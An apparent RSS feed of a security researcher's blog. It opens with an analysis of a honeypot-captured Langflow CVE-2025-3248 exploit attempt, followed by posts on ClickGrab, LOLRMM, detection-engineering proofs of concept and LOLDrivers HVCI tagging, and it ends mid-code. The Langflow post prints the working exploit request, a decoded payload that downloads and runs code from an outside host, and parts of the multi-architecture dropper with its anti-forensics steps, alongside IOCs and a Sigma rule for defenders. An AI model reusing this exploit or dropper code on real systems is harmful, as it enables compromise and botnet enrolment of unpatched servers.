<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Michael Haag on Medium]]></title>
        <description><![CDATA[Stories by Michael Haag on Medium]]></description>
        <link>https://medium.com/@haggis-m?source=rss-9b325df912a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ABrP16ZKhjNAqAtg06X_1w.png</url>
            <title>Stories by Michael Haag on Medium</title>
            <link>https://medium.com/@haggis-m?source=rss-9b325df912a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 20:23:11 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@haggis-m/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[CVE-2025–3248 Exploitation Attempt Caught Red-Handed: Real Attack Analysis from HoneyHarbor]]></title>
            <link>https://haggis-m.medium.com/cve-2025-3248-exploitation-attempt-caught-red-handed-real-attack-analysis-from-honeyharbor-d7e9056d2af2?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d7e9056d2af2</guid>
            <category><![CDATA[flodrix-botnet]]></category>
            <category><![CDATA[botnet]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[honeypot]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Fri, 20 Jun 2025 15:39:06 GMT</pubDate>
            <atom:updated>2025-06-20T15:39:06.341Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7JPG7SSO7757DnYfLacS3g.png" /><figcaption>Coming Soon</figcaption></figure><p>Editor’s Note: <em>This attack was captured during testing of HoneyHarbor, our upcoming open-source honeypot deployment platform designed to make threat intelligence collection accessible to security teams of all sizes. Stay tuned for the official release!</em></p><h3>What Hit Our Honeypots</h3><p>Hey community! Our HoneyHarbor honeypot deployment just captured something really interesting — a live exploitation attempt of <strong>CVE-2025–3248</strong>, the critical Langflow RCE vulnerability.</p><h3>The Attack as It Happened</h3><h3>Initial Strike: The Langflow RCE Exploit</h3><p>On <strong>June 20, 2025 at 02:09:42 UTC</strong>, our Jenkins honeypot (jenkins.example.com) received a malicious POST request from IP 193.32.162.157:</p><pre>POST /api/v1/validate/code HTTP/1.1<br>Host: jenkins.example.com<br>User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36</pre><pre>{&quot;code&quot;:&quot;def run(cmd=exec(&#39;raise Exception(exec(__import__(\&quot;base64\&quot;).b64decode(\&quot;aW1wb3J0IHVybGxpYi5yZXF1ZXN0CndpdGggdXJsbGliLnJlcXVlc3QudXJsb3BlbigiaHR0cDovLzY2LjYzLjE4Ny4xOTMvbGFuZ2Zsb3cucHkiKSBhcyByZXM6CiAgICBleGVjKHJlcy5yZWFkKCkp\&quot;)))&#39;))): pass&quot;}</pre><p><strong>Interesting observation</strong>: The attacker targeted what appeared to be a Jenkins instance but was actually trying to exploit a Langflow endpoint. This suggests either:</p><ol><li>They’re mass-scanning for the vulnerable endpoint across different services</li><li>It’s part of a broader infrastructure compromise attempt</li></ol><h3>Decoding the Attack</h3><p>The base64 payload decodes to:</p><pre>import urllib.request<br>with urllib.request.urlopen(&quot;http://66.63.187.193/langflow.py&quot;) as res:<br>    exec(res.read())</pre><p>This is a classic <strong>Stage 1</strong> payload that downloads and executes a <strong>Stage 2</strong> payload from the attacker’s infrastructure.</p><h3>Stage 2: The Sophisticated Dropper</h3><p>We retrieved the langflow.py file from 66.63.187.193 and found a remarkably sophisticated multi-architecture malware dropper. Here&#39;s what makes this attack particularly concerning:</p><h3>Multi-Architecture Botnet Deployment</h3><pre>import pathlib<br>import pwd<br>import re<br>from urllib.request import urlretrieve<br>import os<br>import platform<br>import stat</pre><pre>def dlr(filename: str):<br>    urlretrieve(f&quot;http://66.63.187.193/{filename}&quot;, filename)</pre><pre>arch = platform.uname().machine</pre><pre>if &quot;x86_64&quot; in arch:<br>    dlr(&quot;x86_64&quot;)<br>    os.rename(&quot;x86_64&quot;, &quot;.redtail&quot;)<br>elif re.search(r&quot;i[3456]86&quot;, arch):<br>    dlr(&quot;i686&quot;)<br>    os.rename(&quot;i686&quot;, &quot;.redtail&quot;)<br>elif &quot;armv8&quot; in arch or &quot;aarch64&quot; in arch:<br>    dlr(&quot;aarch64&quot;)<br>    os.rename(&quot;aarch64&quot;, &quot;.redtail&quot;)<br>elif &quot;armv7&quot; in arch:<br>    dlr(&quot;arm7&quot;)<br>    os.rename(&quot;arm7&quot;, &quot;.redtail&quot;)</pre><p>The malware comes prepared for <strong>every major CPU architecture</strong>, showing this is a well-resourced operation targeting diverse infrastructure.</p><h3>Advanced Evasion Techniques</h3><h4>1. Intelligent Directory Selection</h4><p>The malware doesn’t just drop files anywhere — it’s smart about placement:</p><pre>def find_drop_directory():<br>    for dirpath, dirnames, filenames in os.walk(&quot;/&quot;):<br>        dirpath = pathlib.Path(dirpath)<br>        # Avoid noexec mounts and system directories<br>        if any(dirpath.match(exclude) for exclude in [&quot;/proc/*&quot;, &quot;/tmp/*&quot;] + noexec_dirs):<br>            continue<br>        if is_user_directory(dirpath) and has_permissions(dirpath):<br>            os.chdir(dirpath)<br>            return</pre><p>This function:</p><ul><li><strong>Scans the entire filesystem</strong> looking for optimal drop locations</li><li><strong>Avoids </strong><strong>noexec mounted directories</strong> (reads /proc/mounts to identify these)</li><li><strong>Looks for user-owned directories</strong> with full permissions</li><li><strong>Bypasses common security controls</strong> like restricted /tmp directories</li></ul><h4>2. Anti-Forensics Measures</h4><pre>dlr(&quot;clean&quot;)           # Download cleanup script<br>os.system(&quot;sh clean&quot;)  # Execute cleanup<br>os.remove(&quot;clean&quot;)     # Remove cleanup script<br>os.remove(&quot;.redtail&quot;)  # Remove evidence</pre><p>The attack includes a cleanup phase that removes traces of the operation.</p><h4>3. Fallback Strategy</h4><p>If the architecture-specific approach fails, the malware tries a brute-force approach:</p><pre>if ok == False:<br>    for file in [&quot;x86_64&quot;, &quot;i686&quot;, &quot;aarch64&quot;, &quot;arm7&quot;]:<br>        dlr(file)<br>        os.rename(file, &quot;.redtail&quot;)<br>        if os.system(&quot;chmod +x .redtail &amp;&amp; ./.redtail langflow&quot;) == 0:<br>            break</pre><p>This ensures maximum compatibility across different systems.</p><h3>Attribution: Flodrix Botnet Campaign</h3><p>Based on our analysis and correlation with recent threat intelligence, this attack is part of the <strong>Flodrix botnet</strong> campaign that has been actively exploiting CVE-2025–3248 since its disclosure. The botnet specializes in:</p><ul><li><strong>DDoS attacks</strong> (multiple attack vectors including TCP flooding, UDP floods)</li><li><strong>System reconnaissance</strong> and environment profiling</li><li><strong>Process termination</strong> to eliminate security tools</li><li><strong>Dual-channel C2</strong> communication (TCP and UDP)</li></ul><h3>Infrastructure Analysis</h3><p><strong>Primary C2 Server</strong>: 66.63.187.193</p><ul><li>Hosting the dropper script (langflow.py)</li><li>Serving architecture-specific binaries</li><li>Part of broader infrastructure supporting the Flodrix operation</li></ul><p><strong>Attack Timeline</strong>:</p><ul><li><strong>Initial exploit</strong>: June 20, 2025, 02:09:42 UTC</li><li><strong>Source IP</strong>: 193.32.162.157 (likely compromised proxy/bot)</li><li><strong>Target</strong>: jenkins.example.com (our honeypot)</li><li><strong>Response</strong>: HTTP 403 (our honeypot did not respond)</li></ul><h3>Technical Impact Analysis</h3><h3>What Would Have Happened</h3><p>If this attack had succeeded on a real system:</p><ol><li><strong>Initial Compromise</strong>: RCE via CVE-2025–3248</li><li><strong>Persistence</strong>: Hidden .redtail binary in user directory</li><li><strong>Botnet Enrollment</strong>: System joins Flodrix botnet</li><li><strong>Capability Deployment</strong>:</li></ol><ul><li>DDoS attack platform</li><li>System reconnaissance tool</li><li>Potential data exfiltration capability</li><li>Secondary payload delivery system</li></ul><h3>Why This Attack is Significant</h3><ol><li><strong>Active Exploitation</strong>: CVE-2025–3248 is being weaponized in the wild</li><li><strong>Sophisticated Payload</strong>: Multi-stage, multi-architecture deployment</li><li><strong>Evasion Techniques</strong>: Advanced anti-forensics and security bypass</li><li><strong>Broad Targeting</strong>: Mass scanning approach hitting diverse infrastructure</li><li><strong>Well-Resourced Operation</strong>: Professional-grade malware development</li></ol><h3>Defensive Recommendations</h3><h3>Immediate Actions</h3><ul><li><strong>Patch Langflow immediately</strong> to version 1.3.0+</li><li><strong>Block IOCs</strong>: Add 66.63.187.193 to blocklists</li><li><strong>Hunt for artifacts</strong>: Search for .redtail files in user directories</li><li><strong>Monitor for exploitation</strong>: Watch for POST requests to /api/v1/validate/code</li></ul><h3>Detection Rules</h3><pre># Sigma rule for CVE-2025-3248 exploitation<br>title: Langflow CVE-2025-3248 Exploitation Attempt<br>logsource:<br>  category: webserver<br>detection:<br>  selection:<br>    uri_path: &#39;/api/v1/validate/code&#39;<br>    http_method: &#39;POST&#39;<br>    request_body|contains: &#39;exec(&#39;<br>  condition: selection</pre><h3>Network Monitoring</h3><ul><li>Monitor for downloads from 66.63.187.193</li><li>Watch for unusual outbound connections on ports 54707, 50445</li><li>Alert on architecture-specific binary downloads (x86_64, i686, aarch64, arm7)</li></ul><h3>Lessons Learned</h3><p>This incident demonstrates several critical points:</p><ol><li><strong>Speed of Weaponization</strong>: CVEs are being exploited within days of disclosure</li><li><strong>Sophistication Evolution</strong>: Modern malware includes extensive evasion capabilities</li><li><strong>Infrastructure Targeting</strong>: Attackers are going after diverse systems, not just traditional targets</li><li><strong>Honeypot Value</strong>: Our HoneyHarbor deployment successfully captured real-world threat intelligence</li></ol><h3>Conclusion</h3><p>The capture of this live CVE-2025–3248 exploitation attempt in our HoneyHarbor infrastructure provides valuable insight into current threat actor tactics. The sophistication of the Flodrix dropper — from its multi-architecture support to its intelligent evasion techniques — shows that we’re dealing with well-resourced and capable adversaries.</p><p><strong>The bottom line</strong>: If you’re running Langflow, patch immediately. If you’re a defender, add these IOCs to your hunting lists and implement the detection rules above.</p><p>This is exactly why we run HoneyHarbor — to catch these attacks in the wild and share the intelligence with the community. Stay safe out there!</p><h3>IOCs Summary</h3><ul><li><strong>Attack IP</strong>: 193.32.162.157</li><li><strong>C2 Server</strong>: 66.63.187.193</li><li><strong>Malware Family</strong>: Flodrix botnet</li><li><strong>File Artifacts</strong>: .redtail, clean, architecture binaries</li><li><strong>CVE</strong>: CVE-2025–3248 (Langflow RCE)</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d7e9056d2af2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ ClickGrab Major Update: Python Migration & Enhanced Threat Intelligence Platform]]></title>
            <link>https://haggis-m.medium.com/clickgrab-major-update-python-migration-enhanced-threat-intelligence-platform-e290318bf44e?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e290318bf44e</guid>
            <category><![CDATA[fake-captcha]]></category>
            <category><![CDATA[clickfix]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Wed, 18 Jun 2025 15:03:52 GMT</pubDate>
            <atom:updated>2025-06-18T15:03:52.424Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MComzTG5ygPQvhwBOobbOA.png" /><figcaption><a href="https://mhaggis.github.io/ClickGrab/">https://mhaggis.github.io/ClickGrab/</a></figcaption></figure><p>We’re thrilled to announce a massive update to ClickGrab that transforms our threat intelligence platform into a more powerful, user-friendly, and comprehensive security tool. Here’s everything new this week:</p><h3>🐍 Complete Python Migration</h3><p>The Big Change: We’ve completely migrated ClickGrab from PowerShell to Python, bringing significant improvements:</p><ul><li>🔄 Enhanced Data Processing: More robust analysis of clipboard hijacking and fake CAPTCHA attacks<br>- 🚀 Improved Performance: Faster report generation and more reliable daily scans<br>- 🔧 Modern Architecture: Cleaner codebase with better error handling and extensibility</li></ul><p>This wasn’t just a simple port — we rebuilt the entire analysis engine from the ground up to deliver more accurate threat detection and richer insights.</p><h3>✨ Stunning New User Interface</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kXFbO3fWpFdtYnje-lYnOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bDt7D0q0fNzVzXF-n0nzFQ.png" /></figure><h4>Executive Summary &amp; Key Findings</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/996/1*X1D-SInlReTF4fxmAt3V3Q.png" /></figure><p>Based on user feedback, we’ve added prominent executive summaries and key findings sections to every reports page:</p><p>- 📈 At-a-Glance Metrics: Average daily threats, detection rates, attack patterns<br>- 🎯 Trend Analysis: Visual indicators showing threat evolution over time<br>- 💡 Actionable Intelligence: Clear insights for security teams</p><h4>Smart Navigation</h4><p>- 🗂️ Table of Contents: Jump directly to any month’s reports<br>- 🔍 Advanced Filtering: Filter by threat level, attack type, and date ranges<br>- 📱 Mobile-Responsive: Beautiful experience on any device<br>- ⬆️ Back-to-Top: Smooth scrolling navigation</p><h4>Enhanced Visual Design</h4><p>- 🎨 Modern Gradients: Professional color schemes for better readability<br>- 🎬 Smooth Animations: Cards fade in as you scroll for engaging UX<br>- 🌓 Dark/Light Mode Ready: Optimized for both viewing preferences<br>- 📊 Interactive Elements: Hover effects and visual feedback throughout</p><h4>🔧 Technical Improvements</h4><p>Fixed Critical Issues<br>- ✅ 404 Resolution: All individual report pages now load correctly<br>- 📁 Improved Deployment: Better GitHub Actions workflow for reliable builds<br>- 🗃️ Enhanced Data Handling: More robust JSON processing and error handling</p><h4>New Features</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*IpgSx-3yqkBHIUKiNE43qw.png" /></figure><p>- 🔍 Search Functionality: Find specific analyses and research<br>- 🏷️ Category Filtering: Filter content by malware, social engineering, trends<br>- 📤 Share Options: Native sharing support for threat intel reports</p><h3>📊 What’s Coming Next</h3><p>We’re not stopping here! Upcoming features include:</p><p>- 🤖 AI-Powered Analysis: Machine learning threat pattern recognition<br>- 📨 Email Alerts: Real-time notifications for high-severity threats<br>- 🔗 API Access: Programmatic access to our threat intelligence data<br>- 🎯 Custom Dashboards: Personalized views for different security roles</p><h4>🚀 Get Started</h4><p>- 📊 Browse Reports: Check out our <a href="https://mhaggis.github.io/ClickGrab/reports.html">enhanced reports archive</a><br>- 🔍 Read Analysis: Dive into <a href="https://mhaggis.github.io/ClickGrab/analysis.html">threat intelligence research</a> <br>- ⭐ Star on GitHub: Follow development at <a href="https://github.com/MHaggis/ClickGrab">github.com/MHaggis/ClickGrab</a></p><p>🔗 <a href="https://mhaggis.github.io/ClickGrab/">Visit ClickGrab Now</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e290318bf44e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Announcing LOLRMM: A Unified Approach to RMM Software Tracking]]></title>
            <link>https://medium.com/magicswordio/announcing-lolrmm-a-unified-approach-to-rmm-software-tracking-992197d7f2c9?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/992197d7f2c9</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[lolrmm]]></category>
            <category><![CDATA[remote-monitoring]]></category>
            <category><![CDATA[rmm]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Mon, 30 Sep 2024 17:40:09 GMT</pubDate>
            <atom:updated>2024-10-04T11:48:12.000Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aH6q0StrTvXLNbNh0qgAJQ.png" /><figcaption>lolrmm.io</figcaption></figure><p>Today, we are thrilled to announce the launch of the Living Off The Land Remote Monitoring and Management (LOLRMM) software project. This groundbreaking initiative aims to revolutionize how we track and manage Remote Monitoring and Management (RMM) utilities in cybersecurity.</p><blockquote>Check it out now: <a href="https://lolrmm.io/">https://lolrmm.io</a></blockquote><p>Looking for the API? We got you:<br><a href="https://lolrmm.io/api/rmm_tools.json">JSON</a>, <a href="https://lolrmm.io/api/rmm_tools.csv">CSV</a></p><h3>What is LOLRMM?</h3><p>LOLRMM is a centralized platform designed to help defenders identify and remediate RMM software within their environments proactively. By consolidating information about various RMM tools, we’re empowering organizations to enhance their security posture and mitigate potential risks associated with these powerful utilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uoiw8cPu-6HiOxk59WhuLQ.png" /><figcaption><a href="https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/">https://thedfirreport.com/2024/06/10/icedid-brings-screenconnect-and-csharp-streamer-to-alphv-ransomware-deployment/</a></figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5FXplntBdJC8K12QfR5Ijg.png" /><figcaption><a href="https://www.lolrmm.io/tools/anydesk">https://www.lolrmm.io/tools/anydesk</a></figcaption></figure><h3>Why LOLRMM Matters</h3><p>Remote Monitoring and Management software plays a crucial role in IT operations, but it can also be exploited by threat actors for malicious purposes. LOLRMM addresses this challenge by:</p><ol><li>Providing a comprehensive database of RMM software</li><li>Offering insights and artifacts of various RMM software</li><li>Facilitating proactive identification and remediation strategies</li><li>Fostering collaboration within the cybersecurity community</li></ol><h3>Standing on the Shoulders of Giants</h3><p>LOLRMM wouldn’t be possible without the invaluable contributions made by numerous projects and individuals in the cybersecurity industry. We’d like to acknowledge the following projects that have paved the way for LOLRMM:</p><ul><li><a href="https://github.com/nterl0k">Steven Dick</a> — Splunk <a href="https://github.com/splunk/security_content/blob/develop/lookups/remote_access_software20240726.csv">Lookup</a></li><li><a href="https://www.twitter.com/phillmoore">phillmoore</a> -&gt; <a href="https://github.com/Ruler-Project/ruler-project">Ruler Project</a></li><li><a href="https://x.com/mthcht">Mthcht</a> — <a href="https://github.com/mthcht/awesome-lists/tree/main/Lists/RMM">RMM</a></li><li><a href="https://x.com/CyberSpooon">CyberSpoon</a> — <a href="https://github.com/0x706972686f/RMM-Catalogue">RMM-Catalogue</a></li><li><a href="https://x.com/br0k3ns0und">Justin Ibarra</a> — <a href="https://gist.github.com/brokensound77/6d8a1e480e65ff20e151099c98267b14">Gist</a></li><li>Red Canary -<a href="https://github.com/redcanaryco/surveyor/blob/master/definitions/remote-admin.json">Surveyor</a></li></ul><p>We want to also thank our founding contributors:</p><ul><li><a href="https://medium.com/u/13421cb5a77c">Kostas</a> — <a href="https://x.com/Kostastsale">X</a></li><li><a href="https://medium.com/u/aad5aaf11bbb">Nasreddine Bencherchali</a> — X</li><li><a href="https://x.com/cyb3rbuff"><strong>Hare Sudhan</strong></a></li></ul><h3>Community-Driven Development</h3><p>The strength of LOLRMM lies in its community. We’re not just launching a project; we’re initiating a movement. Here’s how you can contribute:</p><ul><li><strong>Share Your Knowledge</strong>: Have experience with a particular RMM tool? Contribute your insights to our database.</li><li><strong>Report Findings</strong>: Encountered an RMM tool in the wild? Help us keep our information up-to-date.</li><li><strong>Develop Detection Rules</strong>: Create and share Sigma rules for various security platforms.</li><li><strong>Improve Documentation</strong>: Help us make LOLRMM more accessible to defenders of all skill levels.</li></ul><p>We’re here to facilitate and engage the community, ensuring LOLRMM remains the most detailed and centralized resource for all things RMM.</p><h3>What’s Next?</h3><p>As we embark on this journey, we have exciting plans for the future of LOLRMM:</p><ol><li>Expanding our database of RMM software</li><li>Developing integrations with popular security tools</li><li>Creating comprehensive guides for RMM identification and remediation</li></ol><h3>Join the LOLRMM Community</h3><p>We invite you to be part of this exciting initiative. Whether you’re a seasoned security professional or just starting your journey in cybersecurity, there’s a place for you in the LOLRMM community.</p><p>Visit our GitHub repository <a href="https://github.com/magicsword-io/LOLRMM">https://github.com/magicsword-io/LOLRMM</a> to get started.</p><p>Together, we can build a more secure digital landscape by mastering the art of RMM software management.</p><p>Let’s make LOLRMM the go-to resource for all things RMM in cybersecurity!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=992197d7f2c9" width="1" height="1" alt=""><hr><p><a href="https://medium.com/magicswordio/announcing-lolrmm-a-unified-approach-to-rmm-software-tracking-992197d7f2c9">Announcing LOLRMM: A Unified Approach to RMM Software Tracking</a> was originally published in <a href="https://medium.com/magicswordio">magicswordio</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Crucial Role of Proof of Concept (POC) in Detection Engineering]]></title>
            <link>https://haggis-m.medium.com/the-crucial-role-of-proof-of-concept-poc-in-detection-engineering-d38f6b48b3af?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/d38f6b48b3af</guid>
            <category><![CDATA[detection-engineering]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Mon, 18 Mar 2024 17:17:07 GMT</pubDate>
            <atom:updated>2024-03-18T17:17:07.755Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>This is an AI generated piece, reviewed for accuracy by humans.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lAvJfyUVbCei182Y" /></figure><p>In the fast-paced realm of cybersecurity, the conversation around the necessity of a Proof of Concept (POC) when developing detection content has garnered considerable attention. Drawing insights from a recent poll that engaged 214 cybersecurity professionals, the preference for the inclusion of POCs in detection workflows emerged strongly. This collective input underscores the critical need for a hands-on, evidence-based approach in detection engineering, highlighting a community-driven perspective on best practices.</p><p>LinkedIn <a href="https://www.linkedin.com/posts/michaelahaag_poll-for-detection-engineers-when-activity-7174422657893879809-2dmc?utm_source=share&amp;utm_medium=member_desktop">https://www.linkedin.com/posts/michaelahaag_poll-for-detection-engineers-when-activity-7174422657893879809-2dmc</a></p><p>Twitter: <a href="https://x.com/M_haggis/status/1768631093505196418?s=20">https://x.com/M_haggis/status/1768631093505196418?s=20</a></p><h4>The Non-Negotiable Need for POC</h4><p>Utilizing a POC is fundamentally about validating the effectiveness of security detection mechanisms. It offers a concrete means to test detection rules against specific threats, providing essential insights into their performance. The absence of a POC means relying on guesswork and assumptions, which is a risky strategy in the nuanced field of cybersecurity.</p><ol><li><strong>Enhanced Accuracy</strong>: The application of POCs in detection processes leads to the refinement of detection algorithms, minimizing false positives and negatives. Through simulated attack scenarios, engineers can directly assess the robustness of their detection strategies against real-world threats.</li><li><strong>Adaptability</strong>: Content developed with the aid of POCs is better positioned to evolve with the threat landscape. It’s been noted that while POCs are crucial, they could also lead to a false sense of security, highlighting the importance of continuous adaptation and vigilance.</li><li><strong>Confidence and Trust</strong>: The implementation of POCs fosters confidence among stakeholders that the deployed security measures are effective in practice, not just theory. However, it’s also recognized that it isn’t always possible to conduct a POC for every scenario, necessitating a balance between empirical testing and theoretical planning.</li><li><strong>Understanding Limitations</strong>: The discussion also brings to light the limitations inherent in detection engineering, such as the need for tailored approaches in detecting different types of threats, from web application vulnerabilities to anomalous user behaviors.</li><li><strong>Avoiding Pitfalls</strong>: The process underscores the reality that errors can occur, such as incorrect regular expressions, which can have significant repercussions. This reality serves as a cautionary tale about the importance of verification through POCs to prevent regrettable outcomes.</li></ol><h4>Conclusion</h4><p>The overwhelming preference for POCs among detection engineers underscores their importance in creating effective, reliable detection mechanisms. POCs are not merely beneficial; they are essential tools for enhancing detection accuracy, fostering adaptability, and building confidence in cybersecurity measures. As the digital threat landscape continues to evolve, so too must our methodologies for identifying and mitigating potential threats. POCs stand out as a critical component of proactive cybersecurity strategy, affirmed by the contributions of over two hundred cybersecurity professionals.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d38f6b48b3af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LOLDrivers and HVCI]]></title>
            <link>https://medium.com/magicswordio/loldrivers-and-hvci-87ecbde0c4b4?source=rss-9b325df912a------2</link>
            <guid isPermaLink="false">https://medium.com/p/87ecbde0c4b4</guid>
            <category><![CDATA[loldrivers]]></category>
            <category><![CDATA[byovd]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hvci]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[Michael Haag]]></dc:creator>
            <pubDate>Fri, 22 Dec 2023 13:56:57 GMT</pubDate>
            <atom:updated>2023-12-22T14:13:55.345Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iOUAbyB8tYaWHRepvdubBA.jpeg" /></figure><p>Friends, we meet again for another behind-the-scenes look at the LOLDrivers project. Lurking in our backlog for some time was the integration of Trail of Bits’ <a href="https://github.com/trailofbits/HVCI-loldrivers-check/blob/main/check_allowed_drivers.ps1">HVCI LOLDrivers Check script</a> into the project. Our main goal was two-fold: first, to add a new tag in the YAML indicating whether a driver loads with HVCI enabled or not; and second, to generate files based on this information. This is crucial because it pinpoints a set of drivers that may still load by default in Windows. By incorporating this into the project and creating new files for these drivers, we aim to highlight a smaller, yet more potent set of drivers with potential for abuse. This addition will aid defenders in narrowing down the scope of hashes to block, names to track, and deploying new features more effectively.</p><h3>First — what is HVCI and why does this matter?</h3><p>What exactly is HVCI? To quote directly from <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/bringup/device-guard-and-credential-guard">Microsoft</a>: “Memory integrity is a virtualization-based security (VBS) feature available in Windows 10, Windows 11, and Windows Server 2016 and later. Memory integrity and VBS improve the threat model of Windows by offering stronger protections against malware that tries to exploit the Windows kernel. VBS uses the Windows hypervisor to create an isolated virtual environment, establishing a root of trust for the OS under the assumption that the kernel can be compromised. Memory integrity is a key component that safeguards and fortifies Windows by executing kernel mode code integrity checks within the secure, isolated VBS environment. It also limits kernel memory allocations that could be leveraged to compromise the system, ensuring that kernel memory pages are executable only after passing code integrity checks in the secure runtime environment. Additionally, executable pages are never writable.”</p><p>Incorporating this feature into our project underscores a select group of drivers that can <em>potentially</em> bypass HVCI checks. Does this mean a driver in the project is actively being abused in the wild? Not necessarily. Does it mean these are the ones adversaries will use next? Maybe? However, it does identify a group of drivers that should be on your radar. Naturally, if you have HVCI and other Windows controls in place, keeping an eye on these drivers is advisable.</p><h3>Trail of Bits HVCI LOLDrivers Check</h3><p>For this endeavor, we ran the <a href="https://github.com/trailofbits/HVCI-loldrivers-check/blob/main/check_allowed_drivers.ps1">script</a> in it’s current state and received the following output.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*915GTyvztXEdiLq4WnpsrQ.png" /></figure><p>Now to automate this a bit more, we modified the script to output to CSV and tag each line as allowed or blocked — based on the HVCI response. Now the output looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*Cpw4MIK4J9_OjhIQq2Z3sg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*1Juphewve-S7QrWgHo93ew.png" /></figure><p>CSV version is here <a href="https://gist.github.com/MHaggis/8d6de45b883b338e47de08b3cb4c9819">https://gist.github.com/MHaggis/8d6de45b883b338e47de08b3cb4c9819</a></p><p>Now we have a CSV of drivers that possibly load with HVCI enabled.</p><p>CSV: <a href="https://github.com/magicsword-io/LOLDrivers/blob/main/bin/hvci_drivers.csv">https://github.com/magicsword-io/LOLDrivers/blob/main/bin/hvci_drivers.csv</a></p><h3>New Tags, Who Dis?</h3><p>Now, we know we’ll need to modify every yaml file in the project with a new tag — LoadsDespiteHVCI — TRUE or FALSE.</p><p>We crafted a simple Python script that reads the CSV and recursively goes through the yaml directory matches hashes and adding tags.</p><p>Or as <a href="https://medium.com/u/aad5aaf11bbb">Nasreddine Bencherchali</a> put it:</p><ul><li>Loop through the files in the yaml folder</li><li>Open it and read as dict with yaml lib</li><li>Loop through the knownvulnsamples using the enumerate to get the index as well</li><li>Check with the content of CSV</li><li>Update the dict accordingly</li><li>Re-write the new dict as yaml</li></ul><pre>import csv<br>import os<br>import re<br>import yaml<br><br>yaml_directory = &#39;../yaml&#39;<br>csv_file_path = &#39;hvci_drivers.csv&#39;<br>paths = [&quot;../yaml&quot;]<br><br>class NoAliasDumper(yaml.Dumper):<br>    def ignore_aliases(self, data):<br>        return True<br><br>def get_hashes_from_csv(csv_file_path):<br><br>    allowed_drivers = []<br>    disallowed_drivers = []<br><br>    with open(csv_file_path, mode=&#39;r&#39;, newline=&#39;&#39;, encoding=&#39;utf-8&#39;) as file:<br>        csv_reader = csv.DictReader(file)<br>        for row in csv_reader:<br>            if row[&#39;Status&#39;] == &quot;Allowed&quot;:<br>                row.pop(&#39;Status&#39;, None)<br>                allowed_drivers += [x for x in list(row.values()) if x]<br>            else:<br>                row.pop(&#39;Status&#39;, None)<br>                disallowed_drivers += [x for x in list(row.values()) if x]<br>            <br>    return allowed_drivers, disallowed_drivers<br><br>allowed_drivers, disallowed_drivers = get_hashes_from_csv(csv_file_path)<br><br>def yield_yaml_file(path_to_yaml_folder: list) -&gt; str:<br>        for path_ in path_to_yaml_folder:<br>            for root, _, files in os.walk(path_):<br>                for file in files:<br>                    if 